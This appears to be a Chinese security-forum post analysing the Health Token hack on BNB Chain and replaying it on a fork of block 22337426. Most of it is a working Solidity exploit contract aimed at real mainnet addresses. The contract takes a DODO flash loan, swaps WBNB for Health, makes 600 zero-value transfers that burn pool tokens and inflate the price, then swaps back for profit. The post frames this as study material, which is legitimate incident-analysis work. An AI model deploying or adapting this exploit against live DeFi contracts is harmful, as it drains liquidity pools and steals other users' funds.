首页
社区
课程
招聘
区块链安全学习 - Health Token被黑分析
2022-11-26 00:17 12615

区块链安全学习 - Health Token被黑分析

2022-11-26 00:17
12615

目录

简介

攻击交易:

 

https://phalcon.blocksec.com/tx/bsc/0xae8ca9dc8258ae32899fe641985739c3fa53ab1f603973ac74b424e165c66ccf

攻击分析

攻击者通过dodo闪电贷获取了40个WBNB,通过pancakeSwap的Router兑换了30565652268756555675523626个
图片描述
相同数目的Health token应该只能swap出个40000000000000000000
图片描述
但是却兑换出了56641927146106351887,归还闪电贷后,至此黑客获利16641927146106351887。也就是16BNB

 

通过观察交易,发现黑客发送了大量的 transfer 。去看合约代码

 

发现在 transfer 函数中,如果满足了条件,它就会销毁流动池中的Health代币。从而导致Health兑换WBNB的价格增高。

 

图片描述

复盘

我们同样也去dodo借一笔闪电贷,然后去模拟运行一下。fork bsc 22337426区块

 

去tenderly模拟,因为循环次数过多,我们需要拉高gas
图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
pragma solidity ^0.8.0;
interface IERC20 {
 
    event Transfer(address indexed from, address indexed to, uint256 value);
 
    event Approval(address indexed owner, address indexed spender, uint256 value);
 
    function totalSupply() external view returns (uint256);
 
    function balanceOf(address account) external view returns (uint256);
 
    function transfer(address to, uint256 amount) external returns (bool);
 
    function allowance(address owner, address spender) external view returns (uint256);
 
    function approve(address spender, uint256 amount) external returns (bool);
 
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}
 
interface Uni_Router_V2 {
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] memory path,
        address to,
        uint256 deadline
  ) external;
}
 
 
interface IDPPAdvanced {
    function flashLoan(
        uint256 baseAmount,
        uint256 quoteAmount,
        address assetTo,
        bytes calldata data
    ) external;
}
 
interface IWBNB {
    function balanceOf(address account) external view  returns (uint256);
    function withdraw(uint wad) external;
    function deposit() external payable;
    function approve(address guy, uint wad) external returns (bool);
}
 
interface IPancakeRouter {
    function getAmountsIn(uint amountOut, address[] memory path) external view returns (uint[] memory amounts);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
interface IHealth {
    function balanceOf(address account) external view  returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transfer(address recipient, uint256 amount) external returns (bool);
}
 
interface IPancakePair {
    function skim(address to) external;
    function sync() external;
}
 
struct DPPAdvancedCallBackData {
    uint256 baseAmount;
    uint256 quoteAmount;
}
 
 
 
 
 
contract ContractTest{
    IERC20 HEALTH = IERC20(0x32B166e082993Af6598a89397E82e123ca44e74E);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    Uni_Router_V2 uni_pair = Uni_Router_V2(0xF375709DbdE84D800642168c2e8bA751368e8D32);
    Uni_Router_V2 uni_router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    address public constant dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;
 
    function testExp() external{
 
        WBNB.approve(address(uni_router), type(uint).max);
        HEALTH.approve(address(uni_router),type(uint).max);
 
        uint256 borrown_wbnb_amt = 200 * 1e18;
        DPPAdvancedCallBackData memory callbackData;
        callbackData.baseAmount = borrown_wbnb_amt;
        callbackData.quoteAmount = 0;
        bytes memory data = abi.encode(callbackData);
 
        IDPPAdvanced(dodo).flashLoan(borrown_wbnb_amt,0,address(this),data);
 
    }
 
    fallback() external payable {
    }
 
    function DPPFlashLoanCall(
        address sender,
        uint256 baseAmount,
        uint256 quoteAmount,
        bytes calldata data
    ) external {
        WBNBToHEALTH();
        for(uint i = 0; i < 600; i++){
            HEALTH.transfer(address(this), 0);
        }
        HEALTHToWBNB();
        WBNB.transfer(dodo, 200 * 1e18);
    }
 
 
    function WBNBToHEALTH() internal{
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(HEALTH);
        uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }
 
    function HEALTHToWBNB() internal{
        address[] memory path = new address[](2);
        path[0] = address(HEALTH);
        path[1] = address(WBNB);
        uni_router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            HEALTH.balanceOf(address(this)),
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

图片描述

 

成功获利13个BNB

最后

感谢在学习过程中33提供的帮助。

 

本人初学,如有错漏之处,敬请指正


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞7
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回